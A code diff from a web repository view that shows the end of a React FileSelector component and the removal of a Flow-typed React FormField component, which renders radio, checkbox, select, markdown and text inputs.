const { type, currentPath, label, fileLabel, directoryLabel, placeholder } = this.props;
|
||||
|
||||
const buttonLabel = type === 'file' ? fileLabel || __('Choose File') : directoryLabel || __('Choose Directory');
|
||||
|
||||
return (
|
||||
<React.Fragment>
|
||||
<FormField
|
||||
label={label}
|
||||
webkitdirectory="true"
|
||||
className="form-field--copyable"
|
||||
type="text"
|
||||
ref={this.fileInput}
|
||||
onFocus={() => {
|
||||
if (this.fileInput) this.fileInput.current.select();
|
||||
}}
|
||||
readOnly="readonly"
|
||||
value={currentPath || placeholder || __('Choose a file')}
|
||||
inputButton={<Button button="primary" label={buttonLabel} onClick={() => this.handleButtonClick()} />}
|
||||
/>
|
||||
</React.Fragment>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default FileSelector;
|
||||
@@ -1,187 +0,0 @@
|
||||
// @flow
|
||||
import type { ElementRef } from 'react';
|
||||
import React from 'react';
|
||||
import ReactDOMServer from 'react-dom/server';
|
||||
import SimpleMDE from 'react-simplemde-editor';
|
||||
import MarkdownPreview from 'component/common/markdown-preview-internal';
|
||||
import { openEditorMenu, stopContextMenu } from 'util/context-menu';
|
||||
import 'easymde/dist/easymde.min.css';
|
||||
|
||||
type Props = {
|
||||
name: string,
|
||||
label?: string,
|
||||
render?: () => React$Node,
|
||||
prefix?: string,
|
||||
postfix?: string,
|
||||
error?: string | boolean,
|
||||
helper?: string | React$Node,
|
||||
type?: string,
|
||||
onChange?: any => any,
|
||||
defaultValue?: string | number,
|
||||
placeholder?: string | number,
|
||||
children?: React$Node,
|
||||
stretch?: boolean,
|
||||
affixClass?: string, // class applied to prefix/postfix label
|
||||
firstInList?: boolean, // at the top of a list, no padding top
|
||||
autoFocus?: boolean,
|
||||
labelOnLeft: boolean,
|
||||
inputProps?: {
|
||||
disabled?: boolean,
|
||||
},
|
||||
inputButton?: React$Node,
|
||||
blockWrap: boolean,
|
||||
};
|
||||
|
||||
export class FormField extends React.PureComponent<Props> {
|
||||
static defaultProps = {
|
||||
labelOnLeft: false,
|
||||
blockWrap: true,
|
||||
};
|
||||
|
||||
input: { current: ElementRef<any> };
|
||||
|
||||
constructor(props: Props) {
|
||||
super(props);
|
||||
this.input = React.createRef();
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
const { autoFocus } = this.props;
|
||||
const input = this.input.current;
|
||||
|
||||
if (input && autoFocus) {
|
||||
input.focus();
|
||||
}
|
||||
}
|
||||
|
||||
render() {
|
||||
const {
|
||||
render,
|
||||
label,
|
||||
prefix,
|
||||
postfix,
|
||||
error,
|
||||
helper,
|
||||
name,
|
||||
type,
|
||||
children,
|
||||
stretch,
|
||||
affixClass,
|
||||
autoFocus,
|
||||
inputButton,
|
||||
labelOnLeft,
|
||||
blockWrap,
|
||||
...inputProps
|
||||
} = this.props;
|
||||
const errorMessage = typeof error === 'object' ? error.message : error;
|
||||
|
||||
const Wrapper = blockWrap
|
||||
? ({ children: innerChildren }) => <fieldset-section>{innerChildren}</fieldset-section>
|
||||
: ({ children: innerChildren }) => <React.Fragment>{innerChildren}</React.Fragment>;
|
||||
|
||||
let input;
|
||||
if (type) {
|
||||
if (type === 'radio') {
|
||||
input = (
|
||||
<Wrapper>
|
||||
<radio-element>
|
||||
<input id={name} type="radio" {...inputProps} />
|
||||
<label htmlFor={name}>{label}</label>
|
||||
<radio-toggle onClick={inputProps.onChange} />
|
||||
</radio-element>
|
||||
</Wrapper>
|
||||
);
|
||||
} else if (type === 'checkbox') {
|
||||
// web components treat props weird
|
||||
// we need to fully remove it for proper component:attribute css styling
|
||||
// $FlowFixMe
|
||||
const elementProps = inputProps.disabled ? { disabled: true } : {};
|
||||
input = (
|
||||
<Wrapper>
|
||||
<checkbox-element {...elementProps}>
|
||||
<input id={name} type="checkbox" {...inputProps} />
|
||||
<label htmlFor={name}>{label}</label>
|
||||
<checkbox-toggle onClick={inputProps.onChange} />
|
||||
</checkbox-element>
|
||||
</Wrapper>
|
||||
);
|
||||
} else if (type === 'select') {
|
||||
input = (
|
||||
<fieldset-section>
|
||||
{label && <label htmlFor={name}>{label}</label>}
|
||||
<select id={name} {...inputProps}>
|
||||
{children}
|
||||
</select>
|
||||
</fieldset-section>
|
||||
);
|
||||
} else if (type === 'markdown') {
|
||||
const handleEvents = {
|
||||
contextmenu: openEditorMenu,
|
||||
};
|
||||
|
||||
input = (
|
||||
<div className="form-field--SimpleMDE" onContextMenu={stopContextMenu}>
|
||||
<fieldset-section>
|
||||
<label htmlFor={name}>{label}</label>
|
||||
<SimpleMDE
|
||||
{...inputProps}
|
||||
id={name}
|
||||
type="textarea"
|
||||
events={handleEvents}
|
||||
options={{
|
||||
spellChecker: false,
|
||||
hideIcons: ['heading', 'image', 'fullscreen', 'side-by-side'],
|
||||
previewRender(plainText) {
|
||||
const preview = <MarkdownPreview content={plainText} />;
|
||||
return ReactDOMServer.renderToString(preview);
|
||||
},
|
||||
}}
|
||||
/>
|
||||
</fieldset-section>
|
||||
</div>
|
||||
);
|
||||
} else if (type === 'textarea') {
|
||||
input = (
|
||||
<fieldset-section>
|
||||
<label htmlFor={name}>{label}</label>
|
||||
<textarea type={type} id={name} {...inputProps} />
|
||||
</fieldset-section>
|
||||
);
|
||||
} else {
|
||||
const inputElement = <input type={type} id={name} {...inputProps} ref={this.input} />;
|
||||
const inner = inputButton ? (
|
||||
<input-submit>
|
||||
{inputElement}
|
||||
{inputButton}
|
||||
</input-submit>
|
||||
) : (
|
||||
inputElement
|
||||
);
|
||||
|
||||
input = (
|
||||
<React.Fragment>
|
||||
<fieldset-section>
|
||||
<label htmlFor={name}>{errorMessage ? <span className="error-text">{errorMessage}</span> : label}</label>
|
||||
{prefix && (
|
||||
<label className="form-field--inline-prefix" htmlFor={name}>
|
||||
{prefix}
|
||||
</label>
|
||||
)}
|
||||
{inner}
|
||||
</fieldset-section>
|
||||
</React.Fragment>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<React.Fragment>
|
||||
{input}
|
||||
|
||||
{helper && <div className="form-field__help">{helper}</div>}
|
||||
</React.Fragment>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default FormField;
|
||||
Loaded 100 of 1268 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user